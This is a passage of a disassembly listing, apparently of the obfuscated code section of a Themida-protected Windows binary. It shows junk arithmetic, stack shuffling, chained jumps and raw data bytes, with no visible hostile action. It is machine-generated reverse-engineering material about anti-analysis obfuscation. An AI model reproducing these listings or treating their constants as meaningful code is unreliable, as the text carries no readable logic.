5E0000ECh, 0CED6E9h db 0 ; --------------------------------------------------------------------------- loc_59CB69: ; CODE XREF: Themida_:005A43A4j and ebx, 9083636h add ebx, 0F6F7FA00h mov ecx, ebx pop ebx add [esp+4], ecx pop ecx pop esi jmp loc_5AB65F ; --------------------------------------------------------------------------- loc_59CB83: ; CODE XREF: Themida_:loc_5AFBA2j push ebx mov ebx, 46AF31A4h dec ebx push ebp mov ebp, 5A215DE6h jmp loc_59EABA ; --------------------------------------------------------------------------- loc_59CB95: ; CODE XREF: Themida_:loc_5A6843j dec edx jmp loc_59BCFE ; --------------------------------------------------------------------------- db 89h dd 4812424h, 424h, 24148B00h, 4C481h, 0EC810000h, 4, 0B8240489h dd 4, 5558C201h, 3903E9h, 0D6895F00h, 0E924148Bh, 0FFFFBF11h ; --------------------------------------------------------------------------- loc_59CBD0: ; CODE XREF: Themida_:005AB5B3j ; Themida_:005AC50Ej ... jmp loc_5AEBAE ; --------------------------------------------------------------------------- loc_59CBD5: ; CODE XREF: Themida_:0059AD7Bj add ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_5A2446 ; --------------------------------------------------------------------------- loc_59CBEF: ; CODE XREF: Themida_:0059B6F3j pop ebx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59CBF5: ; CODE XREF: Themida_:0059B944j mov ebp, [esp] add esp, 4 jmp loc_5A9466 ; --------------------------------------------------------------------------- loc_59CC03: ; CODE XREF: Themida_:005AF7A0j jmp loc_5AD51A ; --------------------------------------------------------------------------- dd 52D0F792h, 2739E950h db 1, 0 ; --------------------------------------------------------------------------- loc_59CC12: ; CODE XREF: Themida_:loc_5A98C0j sub edx, 0FFFFFFFFh shl edx, 2 jmp loc_59E16B ; --------------------------------------------------------------------------- loc_59CC20: ; CODE XREF: Themida_:00598BC1j xchg ecx, [esp] pop esp mov [esp], ebx mov ebx, 4 sub edx, 462D760Eh sub edx, 23386CC0h add edx, 1C945883h add edx, ebx sub edx, 1C945883h jmp loc_5AA5C5 ; --------------------------------------------------------------------------- loc_59CC4B: ; CODE XREF: Themida_:005A2DA3j add edi, 2E7F2384h jmp loc_59FFAC ; --------------------------------------------------------------------------- loc_59CC56: ; CODE XREF: Themida_:005AD58Dj pop ebp push ebx mov ebx, 0A43B87D1h xor eax, ebx pop ebx push ecx mov ecx, 34C21408h sub ecx, 0EB5EBA5Eh sub esi, ecx jmp loc_5A3D68 ; --------------------------------------------------------------------------- db 56h dd 322E25BEh, 0E9F32931h, 811Dh, 0B52EF305h, 7E5C0538h dd 92E9685Bh, 8100002Dh, 0F346D6EBh, 16C3E903h db 1, 0 ; --------------------------------------------------------------------------- loc_59CC9A: ; CODE XREF: Themida_:005AAFF7j pop esi add edi, 0FFFFFFFFh shl edi, 3 push ebx push ebp mov ebp, 3D9A2C42h jmp loc_59F479 ; --------------------------------------------------------------------------- db 0C1h, 0E0h, 8 dd 678B8F35h, 8BC229FEh, 0C4832404h, 48B5904h, 4C48124h dd 81000000h, 2C2h, 9CAE900h, 0F3290000h, 7EA7EB81h, 815E1EE5h dd 4ECh, 242C8900h, 2E57A9BDh, 0E9EB017Ch, 0FEEDh ; --------------------------------------------------------------------------- loc_59CCF0: ; CODE XREF: Themida_:005ACA58j and edi, 1A320855h push ebp mov ebp, 5C16A4D6h jmp loc_5A93AD ; --------------------------------------------------------------------------- db 29h, 0D8h, 0FFh a4H db '4$[h+&',0 align 4 dd 89240C89h, 8834E9E1h, 0EC830000h, 0F9F7E904h, 0EA810000h dd 0B9B10C40h, 9BE9D2F7h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59CD2B: ; CODE XREF: Themida_:005A1122j mov edi, [esp] jmp loc_59E532 ; --------------------------------------------------------------------------- loc_59CD33: ; CODE XREF: Themida_:005A154Bj mov ecx, 15202D64h xor ecx, 48F67EE8h xor edx, ecx pop ecx and edx, 79F567D6h push ebx jmp loc_5A99A2 ; --------------------------------------------------------------------------- loc_59CD4D: ; CODE XREF: Themida_:loc_599563j push ebp mov ebp, 830E41C8h jmp loc_59FF17 ; --------------------------------------------------------------------------- loc_59CD58: ; CODE XREF: Themida_:005A04F9j mov eax, edx pop edx jmp loc_59BDA1 ; --------------------------------------------------------------------------- dd 0BFE9EA01h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59CD67: ; CODE XREF: Themida_:005A9527j push edi mov edi, 12D95568h sub edi, 1EA6469Fh sub esi, edi jmp loc_5AC378 ; --------------------------------------------------------------------------- loc_59CD7A: ; CODE XREF: Themida_:0059A1D4j pop eax jmp loc_599189 ; --------------------------------------------------------------------------- loc_59CD80: ; CODE XREF: Themida_:005A250Ej push esp pop dword ptr [esp] jmp loc_5A2941 ; --------------------------------------------------------------------------- loc_59CD89: ; CODE XREF: Themida_:005A6C6Fj pop esi add ebp, 4 xchg ebp, [esp] jmp loc_59A64C ; --------------------------------------------------------------------------- loc_59CD95: ; CODE XREF: Themida_:0059A91Ej push edx mov edx, 1C637FACh push ecx push edi mov edi, 4D9B48BDh jmp loc_59B57D ; --------------------------------------------------------------------------- db 89h dd 0B8502424h, 4, 4246C81h, 4B62387Fh, 0FBFDE9h db 0 ; --------------------------------------------------------------------------- loc_59CDBD: ; CODE XREF: Themida_:005AB69Ej push 12CAh mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_5AE1D6 ; --------------------------------------------------------------------------- loc_59CDD2: ; CODE XREF: Themida_:005AFDF2j mov cl, 0D7h jmp loc_59F2E9 ; --------------------------------------------------------------------------- db 0B9h, 0A7h, 52h dd 0C1814EF5h, 6DD9123Ch, 0BA52E929h, 6DD9123Ch, 5B5FE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59CDF2: ; CODE XREF: Themida_:005AD42Bj shr ebp, 4 dec ebp add ebp, 4BAB29E6h inc ebp or ebp, 14D71251h xor ebp, 5FF7FFF9h add eax, ebp pop ebp sub eax, 4 sub esp, 4 mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebp mov ebp, 8000h jmp loc_5A6B1C ; --------------------------------------------------------------------------- loc_59CE34: ; CODE XREF: Themida_:005AD479j pop eax mov ecx, 9A643514h add ecx, 123A4E65h sub ecx, edi sub ecx, 123A4E65h pop edi jmp loc_5AE81F ; --------------------------------------------------------------------------- loc_59CE4E: ; CODE XREF: Themida_:005A75F4j ; Themida_:loc_5AD430j add esp, 4 push 398Ah mov [esp], ebp push 7C81h mov [esp], esi push 46F15328h pop esi push 6DB7h mov [esp], ebp push eax mov eax, 363F19F6h xor eax, 26F02D56h add eax, 0A83F7838h jmp loc_59EA75 ; --------------------------------------------------------------------------- loc_59CE87: ; CODE XREF: Themida_:00599528j mov [esp], ebp push esp mov ebp, [esp] add esp, 4 push esi mov esi, 760B0A87h neg esi not esi shl esi, 5 jmp loc_5AB619 ; --------------------------------------------------------------------------- loc_59CEA6: ; CODE XREF: Themida_:0059AEDEj pop ebp pop dword ptr [esp] pop esp or edx, eax shl edx, 1 push 76D3h mov [esp], ecx push edx jmp loc_5A9B86 ; --------------------------------------------------------------------------- loc_59CEBD: ; CODE XREF: Themida_:005A39D9j push edi push ecx mov ecx, 0 mov edi, ecx pop ecx jmp loc_5A353F ; --------------------------------------------------------------------------- loc_59CECC: ; CODE XREF: Themida_:005A9418j sub edx, esi jmp loc_59DF49 ; --------------------------------------------------------------------------- db 89h dd 0B5BD242Ch, 0E95E8813h, 0BC90h, 2C5AD028h, 59E952DCh db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59CEEB: ; CODE XREF: Themida_:0059F7B9j add edi, 612506A6h add edi, 44148AA0h add ebx, edi mov edi, [esp] add esp, 4 mov edi, [esp] jmp loc_59E87C ; --------------------------------------------------------------------------- db 68h dd 2B7Eh, 0E9240489h, 11C7Dh ; --------------------------------------------------------------------------- loc_59CF14: ; CODE XREF: Themida_:005AC056j mov [esp], ebx mov ebx, 18234DD0h sub [esp+4], ebx push dword ptr [esp] pop ebx add esp, 4 mov eax, [esp] push esi push esp pop esi push ecx push ebx jmp loc_59EB7C ; --------------------------------------------------------------------------- dword_59CF34 dd 240C8B66h, 0E95BE9h, 6E2C100h, 0FFF773E9h db 0FFh ; --------------------------------------------------------------------------- loc_59CF45: ; CODE XREF: Themida_:loc_5A77F2j xor esi, 2DDB5F7Eh xor esi, 302E7A90h jmp loc_599059 ; --------------------------------------------------------------------------- loc_59CF56: ; CODE XREF: Themida_:005A0153j add edx, 7ECB0B4Fh pop edi jmp loc_5AEBD0 ; --------------------------------------------------------------------------- loc_59CF62: ; CODE XREF: Themida_:005A3AA2j ; Themida_:005A8F1Cj push esi mov esi, 4F8C49A0h mov edi, esi pop esi xor edi, 61D85B50h jmp loc_5A04EC ; --------------------------------------------------------------------------- dw 0BB53h dd 458CDEFFh, 7719E9h db 0 ; --------------------------------------------------------------------------- loc_59CF81: ; CODE XREF: Themida_:005A5C23j ; Themida_:005AD9A6j mov ebp, 56067221h jmp loc_5A37BB ; --------------------------------------------------------------------------- loc_59CF8B: ; CODE XREF: Themida_:00598AACj xor edi, 3ED48CA4h push edi pop esi jmp loc_5A3A65 ; --------------------------------------------------------------------------- loc_59CF98: ; CODE XREF: Themida_:005A19EFj push dword ptr [edi+eax*4] push edi jmp loc_59A915 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0B0240489h, 58C78833h, 0FE885250h, 0C9E95051h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59CFB7: ; CODE XREF: Themida_:loc_5AE7C0j inc bl jge loc_5A9054 or bl, 3Bh jmp loc_5AFAB0 ; --------------------------------------------------------------------------- db 68h dd 1E47h, 0BF243C89h, 794E56C0h, 3931E781h, 0B9511162h dd 46FD3E0Ch, 43D5E9h db 0 ; --------------------------------------------------------------------------- loc_59CFE5: ; CODE XREF: Themida_:005AD3F3j add ebp, 4 xchg ebp, [esp] pop esp push eax jmp loc_5A73FA ; --------------------------------------------------------------------------- dw 0BD55h dd 69DB259Dh, 0F10918B9h, 0E9E93133h, 0FE69h ; --------------------------------------------------------------------------- loc_59D004: ; CODE XREF: Themida_:005AD27Bj add ebp, 0FE772D3Eh add edi, ebp jmp loc_59BA2E ; --------------------------------------------------------------------------- loc_59D011: ; CODE XREF: Themida_:005A0835j mov dx, [esp] add esp, 2 not dh jmp loc_5A7593 ; --------------------------------------------------------------------------- loc_59D022: ; CODE XREF: Themida_:005A0295j sub ecx, 2D0362C7h xor ecx, 0FF521F9Eh mov edx, ecx pop ecx jmp loc_5A6E67 ; --------------------------------------------------------------------------- loc_59D036: ; CODE XREF: Themida_:0059CA7Cj xor esi, ebx xor ebx, esi not esi xchg esi, ebx shr ebx, 2 shl ebx, 1 inc ebx not ebx sub ebx, 22A35908h add eax, ebx pop ebx jmp loc_5A7FEF ; --------------------------------------------------------------------------- loc_59D054: ; CODE XREF: Themida_:0059C732j mov ecx, [esp] jmp loc_5A698E ; --------------------------------------------------------------------------- dd 0E95AD601h, 1439h ; --------------------------------------------------------------------------- loc_59D064: ; CODE XREF: Themida_:005A3632j mov edi, 3CA279A7h mov ecx, 30FB73F9h xor ecx, edi pop edi dec ecx xor ecx, 5CB42CC8h sub eax, ecx pop ecx jmp loc_5AE098 ; --------------------------------------------------------------------------- loc_59D080: ; CODE XREF: Themida_:loc_5AB636j xor edi, 0A0170E02h sub esp, 4 mov [esp], edi jmp loc_59A9DF ; --------------------------------------------------------------------------- loc_59D094: ; CODE XREF: Themida_:005A4305j pop eax jmp loc_5AA56D ; --------------------------------------------------------------------------- loc_59D09A: ; CODE XREF: Themida_:005AE97Bj mov [esp], eax push ebx jmp loc_5AA906 ; --------------------------------------------------------------------------- db 81h dd 858FBCBh, 4DBE5670h, 0C1778C62h, 0E6C102E6h, 0EBE68102h dd 502CF43Ah, 0B49C8CB8h, 0E9C63117h, 657Fh ; --------------------------------------------------------------------------- loc_59D0C8: ; CODE XREF: Themida_:0059C57Fj pop edi jmp loc_5A555F ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 0EE810000h, 4, 608968h, 24348900h, 42474FFh dd 0F67AE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D0EE: ; CODE XREF: Themida_:005A3BD2j add esp, 4 add eax, 4AE529F2h jmp loc_5ADE9B ; --------------------------------------------------------------------------- loc_59D0FE: ; CODE XREF: Themida_:005A7507j or ebp, 6D3B3F23h jmp loc_5A6F1F ; --------------------------------------------------------------------------- loc_59D109: ; CODE XREF: Themida_:0059BDB6j ; Themida_:005A2AEDj push ecx mov ch, 61h xor ch, 0CBh jmp loc_59EB26 ; --------------------------------------------------------------------------- aHH db ']h╩H',0 align 2 dw 489h dd 1F9BB824h, 0B125006Ah, 0F344E05h, 9BDE80h, 26AF3500h dd 880F37F4h, 0A480h, 0E8C1D0F7h, 0C8840F05h, 50000A7h dd 0F9BDF11Eh, 369EBB53h, 0ED815715h, 309C4592h, 52ECED81h dd 0ED813278h, 6CC86F78h, 0C581DD01h, 6CC86F78h, 52ECC581h dd 0C5813278h, 309C4592h, 0B3ED815Bh, 135BE56h, 0B3C581C5h dd 0E935BE56h, 26C1h ; --------------------------------------------------------------------------- loc_59D188: ; CODE XREF: Themida_:005A4097j mov ebp, [esp] push ebp mov ebp, esp jmp loc_5A2668 ; --------------------------------------------------------------------------- loc_59D193: ; CODE XREF: Themida_:005A9B0Bj mov edx, esp add edx, 4 push ecx mov ecx, 4 add edx, ecx mov ecx, [esp] push eax jmp loc_59C33E ; --------------------------------------------------------------------------- loc_59D1AC: ; CODE XREF: Themida_:loc_5A49A8j sub edx, 7DF36C06h jg loc_5AF3F4 not edx jmp loc_59D3CA ; --------------------------------------------------------------------------- loc_59D1BF: ; CODE XREF: Themida_:00598DCFj not ecx inc ecx jp loc_5A580C push eax jmp loc_59E73C ; --------------------------------------------------------------------------- dw 0FB01h dd 0B4DCB15Fh db 5Bh ; --------------------------------------------------------------------------- loc_59D1D5: ; CODE XREF: Themida_:0059BC2Bj ; Themida_:005AA72Dj add eax, esi pop esi jmp loc_5A02E2 ; --------------------------------------------------------------------------- loc_59D1DD: ; CODE XREF: Themida_:005A0989j add ebx, eax pop eax add eax, ebx pop ebx shl eax, 5 jnz loc_59A2EE add eax, 0BA033389h mov ecx, eax mov eax, [esp] mov al, 0D3h pop ebp loc_59D1FA: ; CODE XREF: Themida_:005A9786j add eax, 0FF78A7CCh push ebp mov ebp, 51D4069Dh sub ebx, ebp pop ebp add ebx, eax jmp loc_5A7847 ; --------------------------------------------------------------------------- loc_59D20F: ; CODE XREF: Themida_:005A0867j shr ecx, 2 not ecx xor ecx, 0AF851084h sub edi, ecx mov ecx, [esp] jmp loc_5A6BA1 ; --------------------------------------------------------------------------- loc_59D224: ; CODE XREF: Themida_:0059E9F7j pop ecx add esp, 4 push 7569h mov [esp], eax sub esp, 4 jmp loc_5ABE30 ; --------------------------------------------------------------------------- loc_59D23B: ; CODE XREF: Themida_:005A3178j push small 6ABAh mov [esp], dx sub esp, 4 mov [esp], eax push ebx mov bh, 0F6h jmp loc_599330 ; --------------------------------------------------------------------------- loc_59D251: ; CODE XREF: Themida_:005A3C20j push dword ptr [esp] pop esi jmp loc_5A76CB ; --------------------------------------------------------------------------- loc_59D25A: ; CODE XREF: Themida_:0059E132j xchg al, dl sub esp, 4 mov [esp], ecx jmp loc_5A5149 ; --------------------------------------------------------------------------- loc_59D26A: ; CODE XREF: Themida_:005A6E0Bj push esi jmp loc_599D4B ; --------------------------------------------------------------------------- loc_59D270: ; CODE XREF: Themida_:005A9C71j push eax mov eax, 0B6087521h xor edx, eax pop eax push eax mov eax, 7F2514CFh dec eax jmp loc_5A9CD5 ; --------------------------------------------------------------------------- loc_59D285: ; CODE XREF: Themida_:005A7290j pop esp sub edi, ebp pop ebp jmp locret_5AEDC9 ; --------------------------------------------------------------------------- loc_59D28E: ; CODE XREF: Themida_:005AF394j ; Themida_:005AFA2Cj push edx mov edx, 72C47F10h not edx add edx, 0C714D2F8h sub ecx, edx pop edx jmp loc_59DF14 ; --------------------------------------------------------------------------- loc_59D2A4: ; CODE XREF: Themida_:005A96AFj add edx, eax jmp loc_5AD7A0 ; --------------------------------------------------------------------------- loc_59D2AB: ; CODE XREF: Themida_:005A815Fj add ebx, 1A7716F5h jle loc_5A33CF inc ebx jnz loc_5ABDFA sub ebx, 6BAAC20h mov edx, ebx pop ebx jmp loc_5A6208 ; --------------------------------------------------------------------------- loc_59D2CC: ; CODE XREF: Themida_:loc_5AD04Bj push ecx sub esp, 4 jmp loc_5AEB91 ; --------------------------------------------------------------------------- dd 56D8295Fh, 0B422E7BEh, 0A863E916h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59D2E6: ; CODE XREF: Themida_:005ACA26j mov eax, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] xchg edi, [esp] pop esp mov [esp], eax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59D304: ; CODE XREF: Themida_:0059BF59j sub eax, 7BE52628h sub eax, edi jmp loc_5A7B9A ; --------------------------------------------------------------------------- dd 8BE9E089h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D317: ; CODE XREF: Themida_:005ADC29j pop dword ptr [esp] jmp loc_5AEEA3 ; --------------------------------------------------------------------------- loc_59D31F: ; CODE XREF: Themida_:005A9E4Dj push 0DEFh jmp loc_59B2B9 ; --------------------------------------------------------------------------- loc_59D329: ; CODE XREF: Themida_:0059E020j pop ecx sub edx, eax jmp loc_59F3D0 ; --------------------------------------------------------------------------- loc_59D331: ; CODE XREF: Themida_:005A659Dj pop esp xor al, dh pop dx jmp loc_5A1054 ; --------------------------------------------------------------------------- loc_59D33B: ; CODE XREF: Themida_:005AC705j mov [esp], eax mov eax, esp add eax, 4 push esi push edx mov edx, 4 jmp loc_59BFAB ; --------------------------------------------------------------------------- loc_59D351: ; CODE XREF: Themida_:005A13B5j ; Themida_:005A8466j sub ebx, 40444285h sub ebp, 29677040h sub ebp, ebx add ebp, 29677040h pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5A5F0D ; --------------------------------------------------------------------------- loc_59D374: ; CODE XREF: Themida_:005ABBF0j add ecx, edi add ecx, 0B890D40h add ecx, 338C0DE8h mov edi, [esp] add esp, 4 xor ecx, 74D10E2Ah xor ecx, 4B8A2133h xor ecx, 604818EBh add ecx, 0BC953E4Eh push 57A0h jmp loc_59BB0B ; --------------------------------------------------------------------------- loc_59D3AA: ; CODE XREF: Themida_:005A239Aj ; Themida_:005AC680j sub edi, 0FFFFFFFFh sub edi, 592F6219h add edx, edi pop edi push ebx mov ebx, 2 add edx, ebx pop ebx push edx push dword ptr [esp+4] pop edx jmp loc_599042 ; --------------------------------------------------------------------------- loc_59D3CA: ; CODE XREF: Themida_:0059D1BAj ; DATA XREF: Themida_:005988FCo lodsb jmp loc_59F6FA ; --------------------------------------------------------------------------- loc_59D3D0: ; CODE XREF: Themida_:005A2166j add [esp+4], esi jmp loc_59BE9E ; --------------------------------------------------------------------------- aS_5 db '[И$^',0 db 0 ; --------------------------------------------------------------------------- loc_59D3DF: ; CODE XREF: Themida_:0059B302j mov ecx, [esp] jmp loc_5A5916 ; --------------------------------------------------------------------------- byte_59D3E7 db 0FFh ; DATA XREF: Themida_:005987C4o dd 0C8B2434h, 136DE924h, 0CF890000h, 9153E9h db 0 ; --------------------------------------------------------------------------- loc_59D3F9: ; CODE XREF: Themida_:005A599Aj and ecx, ebx pop ebx sub ecx, 208009FDh mov edx, ecx push dword ptr [esp] pop ecx jmp loc_5AB5BC ; --------------------------------------------------------------------------- loc_59D40D: ; CODE XREF: Themida_:005A8EFCj add eax, 15F77F79h sub eax, 4AE10761h add esi, eax pop eax add esi, ecx sub esi, 590E3FB6h pop ecx push 7ED8h mov [esp], edx push ebx mov ebx, 4 push ebx jmp loc_5AC5C1 ; --------------------------------------------------------------------------- loc_59D437: ; CODE XREF: Themida_:0059F831j sub eax, 4ED0276Eh or eax, 3DC341BDh and eax, 58DD46C5h neg eax add eax, 2E9B5119h xor eax, 0F4A869DBh sub ebx, eax jmp loc_5AC65D ; --------------------------------------------------------------------------- loc_59D459: ; CODE XREF: Themida_:0059C1E9j mov esi, 17125051h jmp loc_5A7A9A ; --------------------------------------------------------------------------- loc_59D463: ; CODE XREF: Themida_:005AEC89j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59D468: ; CODE XREF: Themida_:005A16FAj add edi, ecx pop ecx jmp loc_59A0D4 ; --------------------------------------------------------------------------- loc_59D470: ; CODE XREF: Themida_:005A27E1j sub bx, 53C1h jmp loc_5AFB75 ; --------------------------------------------------------------------------- dw 0EA81h dd 63FC36DCh, 0FFF4ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_59D485: ; CODE XREF: Themida_:005AD965j mov [esp], ebp jmp loc_5A0449 ; --------------------------------------------------------------------------- loc_59D48D: ; CODE XREF: Themida_:005A6E70j mov esp, [esp] mov [esp], eax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59D498: ; CODE XREF: Themida_:005AF4F9j mov ebp, 6B637F42h xor ebp, 6B637F46h add edx, ebp pop ebp xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] xchg eax, ebx sub esp, 4 mov [esp], ebx push 130Eh mov [esp], eax push ebp mov ebp, 71923770h add ebp, 8E6DC891h mov eax, ebp jmp loc_59C684 ; --------------------------------------------------------------------------- loc_59D4D4: ; CODE XREF: Themida_:005AD958j pop eax push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_5AC79C ; --------------------------------------------------------------------------- loc_59D4E3: ; CODE XREF: Themida_:005ACEBFj sub eax, 4 xchg eax, [esp] jmp loc_59AA65 ; --------------------------------------------------------------------------- dd 5F04C483h, 25C5BA52h, 0D0210FA2h, 7E8C15Ah, 0E907E0C1h dd 8A27h ; --------------------------------------------------------------------------- loc_59D508: ; CODE XREF: Themida_:005A6961j mov ebx, ebp pop ebp xchg edx, ebx jmp loc_5A0E54 ; --------------------------------------------------------------------------- loc_59D512: ; CODE XREF: Themida_:005A2392j shl eax, 1 jnp loc_5AD04B jmp loc_5AF538 ; --------------------------------------------------------------------------- loc_59D51F: ; CODE XREF: Themida_:0059A37Fj add ecx, 1A1D75BEh jmp loc_5AECB3 ; --------------------------------------------------------------------------- loc_59D52A: ; CODE XREF: Themida_:005A2CB6j pop esp push edx mov dh, 0B4h inc dh xor dh, 6Bh not dh inc dh shr dh, 3 add dh, 55h jmp loc_5A0A1C ; --------------------------------------------------------------------------- dw 34FFh dd 0F2CDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D54A: ; CODE XREF: Themida_:0059D71Ej sub ch, 6Dh jnp loc_59EA40 shl ch, 6 jmp loc_59B384 ; --------------------------------------------------------------------------- db 0FFh dd 8B5E2434h db 0F9h, 59h ; --------------------------------------------------------------------------- loc_59D562: ; CODE XREF: Themida_:005A4C70j push esi mov esi, 592E0ACDh or edi, esi pop esi jmp loc_5A914F ; --------------------------------------------------------------------------- dd 72A4C181h, 8FE9FDDAh db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D57B: ; CODE XREF: Themida_:005ADF15j shl al, 7 jmp loc_5A3A34 ; --------------------------------------------------------------------------- db 81h dd 0BD63B8C5h, 6B19E91Fh db 2 dup(0) word_59D58E dw 77FFh ; DATA XREF: Themida_:005986D0o dd 11589D1Ch, 0E99C2404h, 0FFFFB407h ; --------------------------------------------------------------------------- loc_59D59C: ; CODE XREF: Themida_:005A9F3Aj xchg esi, [esp] pop esp mov [esp], eax push 3445h mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx push 458402A7h push dword ptr [esp] pop edx jmp loc_5A1370 ; --------------------------------------------------------------------------- dw 0EB01h dd 1110DE9h db 0 ; --------------------------------------------------------------------------- loc_59D5D5: ; CODE XREF: Themida_:005AF2ADj jmp loc_59E33D ; --------------------------------------------------------------------------- loc_59D5DA: ; CODE XREF: Themida_:005A5274j push esi jmp loc_59F8D0 ; --------------------------------------------------------------------------- dd 33F5ED81h, 0C58369F8h, 0F8ED81FFh, 0E975AB1Ch, 0B35Bh ; --------------------------------------------------------------------------- loc_59D5F4: ; CODE XREF: Themida_:005A926Ej push ebx mov ebx, 27344943h inc ebx add ebx, 0EF798E7Ah add ebp, ebx pop ebx add ebx, 79074905h sub ebx, 698D181Eh sub ebx, ebp jmp loc_5AADD7 ; --------------------------------------------------------------------------- loc_59D617: ; CODE XREF: Themida_:0059C763j pop ebx push ecx push ebx mov bl, dh jmp loc_5A423F ; --------------------------------------------------------------------------- loc_59D621: ; CODE XREF: Themida_:0059FE66j jmp loc_59F235 ; --------------------------------------------------------------------------- loc_59D626: ; CODE XREF: Themida_:005A5673j push esi jmp loc_59C93D ; --------------------------------------------------------------------------- loc_59D62C: ; CODE XREF: Themida_:005AC69Fj add edx, 52B471Fh add edx, ebp sub edx, 52B471Fh pop ebp add edx, 4 xchg edx, [esp] pop esp xor [esp], eax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59D64E: ; CODE XREF: Themida_:005A2C1Cj push 9EBh jmp loc_5A69F3 ; --------------------------------------------------------------------------- dd 8324048Bh, 545204C4h, 4C2815Ah, 57000000h, 0D2ABB53h dd 3CE965F0h db 9, 1, 0 ; --------------------------------------------------------------------------- loc_59D673: ; CODE XREF: Themida_:005A6173j pop ecx pop dx jmp loc_5A430A ; --------------------------------------------------------------------------- loc_59D67B: ; CODE XREF: Themida_:005AA709j or ebp, 733F5F35h jmp loc_5992FE ; --------------------------------------------------------------------------- loc_59D686: ; CODE XREF: Themida_:005AD078j mov esi, esp jmp loc_59C1BB ; --------------------------------------------------------------------------- loc_59D68D: ; CODE XREF: Themida_:005A2932j mov ebx, esp jmp loc_5A2CA7 ; --------------------------------------------------------------------------- loc_59D694: ; CODE XREF: Themida_:00598E94j push dword ptr [esp] jmp loc_5A7D59 ; --------------------------------------------------------------------------- dd 2474FF52h, 2434FF04h, 8124148Bh, 4C4h, 4C48100h, 8F000000h dd 248B2404h, 3781E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59D6BE: ; CODE XREF: Themida_:005A95D2j add edi, 8040025h jmp loc_5AA9F5 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 54241C89h, 4C3815Bh, 81000000h, 4EBh, 241C8700h, 241C895Ch dd 0F82832B7h, 8B0CE9h, 24348900h, 750F69BEh, 0CE814E79h dd 12861247h, 0FFFFC681h, 0F681FFFFh, 5D247A29h, 0CEA88D0Fh dd 0EFE9FFFFh, 0FF000007h, 0C5882434h db 8Bh, 0C7h ; --------------------------------------------------------------------------- loc_59D71A: ; CODE XREF: Themida_:0059C39Dj pop ebx or ch, 0F5h ja loc_59D54A sub ch, 6Dh jnp loc_5A662D mov edx, ebp loc_59D72F: ; CODE XREF: Themida_:005AD7E3j add ebp, 2F2D0EA3h shl ebp, 5 sub ebp, 418F0EEh add edx, ebp pop ebp jmp loc_59AE08 ; --------------------------------------------------------------------------- loc_59D746: ; CODE XREF: Themida_:0059A72Fj push 710Ah mov [esp], edi push 3A3h mov [esp], esp jmp loc_5A8DE5 ; --------------------------------------------------------------------------- db 0F7h dd 7CE993DBh db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D763: ; CODE XREF: Themida_:0059E643j ; Themida_:005AE5CEj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_59BD98 ; --------------------------------------------------------------------------- loc_59D781: ; CODE XREF: Themida_:00599910j xor ebx, 0A410BB32h add ebp, ebx jmp loc_59C6CF ; --------------------------------------------------------------------------- loc_59D78E: ; CODE XREF: Themida_:005A704Bj xor ebx, [esp] pop esp mov dx, [esp] jmp loc_5A0773 ; --------------------------------------------------------------------------- loc_59D79B: ; CODE XREF: Themida_:0059A9B9j neg ebp jle loc_5AF9D8 jmp loc_5ADCE7 ; --------------------------------------------------------------------------- dd 240C8B66h, 0AADDE9h db 0 ; --------------------------------------------------------------------------- loc_59D7B1: ; CODE XREF: Themida_:005A265Dj sub ebx, edx add ebx, 37F443CBh pop edx pop ebp add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_5A1B6B ; --------------------------------------------------------------------------- dd 4240483h, 8124148Bh, 4C4h, 4B85000h, 0E9000000h, 10668h ; --------------------------------------------------------------------------- loc_59D7E4: ; CODE XREF: Themida_:005A48B0j xor edx, 96E05EEh mov ebp, edx mov edx, [esp] add esp, 4 mov ecx, ebp push dword ptr [esp] pop ebp add esp, 4 and eax, ecx push dword ptr [esp] push dword ptr [esp] jmp loc_59B4AC ; --------------------------------------------------------------------------- loc_59D808: ; CODE XREF: Themida_:005A138Ej mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5A167C ; --------------------------------------------------------------------------- loc_59D81A: ; CODE XREF: Themida_:005A5BEAj mov edi, 4D580C2Fh mov ebx, edi pop edi not ebx jmp loc_598D1E ; --------------------------------------------------------------------------- loc_59D829: ; CODE XREF: Themida_:005A0F6Cj ; Themida_:005AA73Bj mov eax, 7FF36511h add ebp, eax pop eax add ebp, ecx jmp loc_5ABD6D ; --------------------------------------------------------------------------- loc_59D838: ; CODE XREF: Themida_:0059A004j mov edx, esp jmp loc_59BA66 ; --------------------------------------------------------------------------- loc_59D83F: ; CODE XREF: Themida_:0059A887j add edx, 106AD9F0h xor ebx, edx pop edx shl ebx, 7 sub ebx, 58AF7D87h add 